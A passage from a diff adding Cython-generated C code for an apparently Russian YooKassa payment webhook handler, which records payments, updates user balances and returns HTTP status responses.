__Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L22_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 202, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 202, __pyx_L15_error) + } + } + + /* "handlers/payments/yookassa_pay.py":203 + * await add_payment(user_id, amount, "yookassa") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_17 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 203, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_17}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L15_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_12); + __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_13); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 203, __pyx_L15_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 203, __pyx_L15_error) + } + } + + /* "handlers/payments/yookassa_pay.py":196 + * amount_str = payment.amount["value"] + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + } + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + goto __pyx_L20_try_end; + __pyx_L15_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":204 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_18) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_3, &__pyx_t_17) < 0) __PYX_ERR(0, 204, __pyx_L17_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_INCREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_e = __pyx_t_3; + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":205 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_error); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_20 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_5); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_20}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":206 + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * else: + * logger.warning(f" ID {payment_id} ") + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 206, __pyx_L29_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_19, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 206, __pyx_L29_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + goto __pyx_L28_return; + } + + /* "handlers/payments/yookassa_pay.py":204 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + /*finally:*/ { + __pyx_L29_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_26, &__pyx_t_27, &__pyx_t_28); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25) < 0)) __Pyx_ErrFetch(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_27); + __Pyx_XGOTREF(__pyx_t_28); + __pyx_t_18 = __pyx_lineno; __pyx_t_21 = __pyx_clineno; __pyx_t_22 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_ExceptionReset(__pyx_t_26, __pyx_t_27, __pyx_t_28); + } + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_ErrRestore(__pyx_t_23, __pyx_t_24, __pyx_t_25); + __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; + __pyx_lineno = __pyx_t_18; __pyx_clineno = __pyx_t_21; __pyx_filename = __pyx_t_22; + goto __pyx_L17_except_error; + } + __pyx_L28_return: { + __Pyx_PyThreadState_assign + __pyx_t_28 = 0; __pyx_t_27 = 0; __pyx_t_26 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_25, &__pyx_t_24, &__pyx_t_23); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_28, &__pyx_t_27, &__pyx_t_26) < 0)) __Pyx_ErrFetch(&__pyx_t_28, &__pyx_t_27, &__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_28); + __Pyx_XGOTREF(__pyx_t_27); + __Pyx_XGOTREF(__pyx_t_26); + __Pyx_XGOTREF(__pyx_t_25); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __pyx_t_29 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_29; + __pyx_t_29 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_25); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_ExceptionReset(__pyx_t_25, __pyx_t_24, __pyx_t_23); + } + __Pyx_XGIVEREF(__pyx_t_28); + __Pyx_XGIVEREF(__pyx_t_27); + __Pyx_XGIVEREF(__pyx_t_26); + __Pyx_ErrRestore(__pyx_t_28, __pyx_t_27, __pyx_t_26); + __pyx_t_28 = 0; __pyx_t_27 = 0; __pyx_t_26 = 0; __pyx_t_25 = 0; __pyx_t_24 = 0; __pyx_t_23 = 0; + goto __pyx_L18_except_return; + } + } + } + goto __pyx_L17_except_error; + + /* "handlers/payments/yookassa_pay.py":196 + * amount_str = payment.amount["value"] + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + __pyx_L17_except_error:; + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + goto __pyx_L6_error; + __pyx_L18_except_return:; + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_XGIVEREF(__pyx_t_13); + __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); + goto __pyx_L10_try_return; + __pyx_L20_try_end:; + } + + /* "handlers/payments/yookassa_pay.py":191 + * logger.info(f" API Yookassa: {payment}") + * + * if payment.status == "succeeded" and payment.paid: # <<<<<<<<<<<<<< + * web.Response(status=200) + * user_id_str = payment.metadata.get("user_id") + */ + goto __pyx_L12; + } + + /* "handlers/payments/yookassa_pay.py":208 + * return web.Response(status=400) + * else: + * logger.warning(f" ID {payment_id} ") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * except Exception as e: + */ + /*else*/ { + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_warning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyTuple_New(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_15 = 0; + __pyx_t_16 = 127; + __Pyx_INCREF(__pyx_kp_u_ID_2); + __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; + __pyx_t_15 += 12; + __Pyx_GIVEREF(__pyx_kp_u_ID_2); + PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_ID_2); + __pyx_t_20 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_20); + __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_20) : __pyx_t_16; + __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_20); + __Pyx_GIVEREF(__pyx_t_20); + PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_t_20); + __pyx_t_20 = 0; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; + __pyx_t_15 += 27; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u__14); + __pyx_t_20 = __Pyx_PyUnicode_Join(__pyx_t_3, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_20}; + __pyx_t_17 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 208, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + + /* "handlers/payments/yookassa_pay.py":209 + * else: + * logger.warning(f" ID {payment_id} ") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_17, __pyx_n_s_web); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_17, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_t_17 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_17); + if (PyDict_SetItem(__pyx_t_17, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 209, __pyx_L6_error) + __pyx_t_20 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_17); if (unlikely(!__pyx_t_20)) __PYX_ERR(0, 209, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_20); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_20); + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L10_try_return; + } + __pyx_L12:; + + /* "handlers/payments/yookassa_pay.py":187 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.find_one(payment_id) + * logger.info(f" API Yookassa: {payment}") + */ + } + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_20); __pyx_t_20 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yookassa_pay.py":210 + * logger.warning(f" ID {payment_id} ") + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + __pyx_t_21 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_21) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_20, &__pyx_t_17, &__pyx_t_1) < 0) __PYX_ERR(0, 210, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_e, __pyx_t_17); + __Pyx_GIVEREF(__pyx_t_17); + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":211 + * return web.Response(status=400) + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * return web.Response(status=500) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u__15, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_19))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_19); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_19); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_19, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":212 + * except Exception as e: + * logger.error(f" : {e}") + * return web.Response(status=500) # <<<<<<<<<<<<<< + * + * return web.Response(status=200) + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_web); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_19 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_Response); if (unlikely(!__pyx_t_19)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_19); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_status, __pyx_int_500) < 0) __PYX_ERR(0, 212, __pyx_L40_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_19, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 212, __pyx_L40_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; + __Pyx_DECREF(__pyx_t_20); __pyx_t_20 = 0; + goto __pyx_L39_return; + } + + /* "handlers/payments/yookassa_pay.py":210 + * logger.warning(f" ID {payment_id} ") + * return web.Response(status=400) + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * return web.Response(status=500) + */ + /*finally:*/ { + __pyx_L40_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); + if ((PY_MAJOR_VERSION < 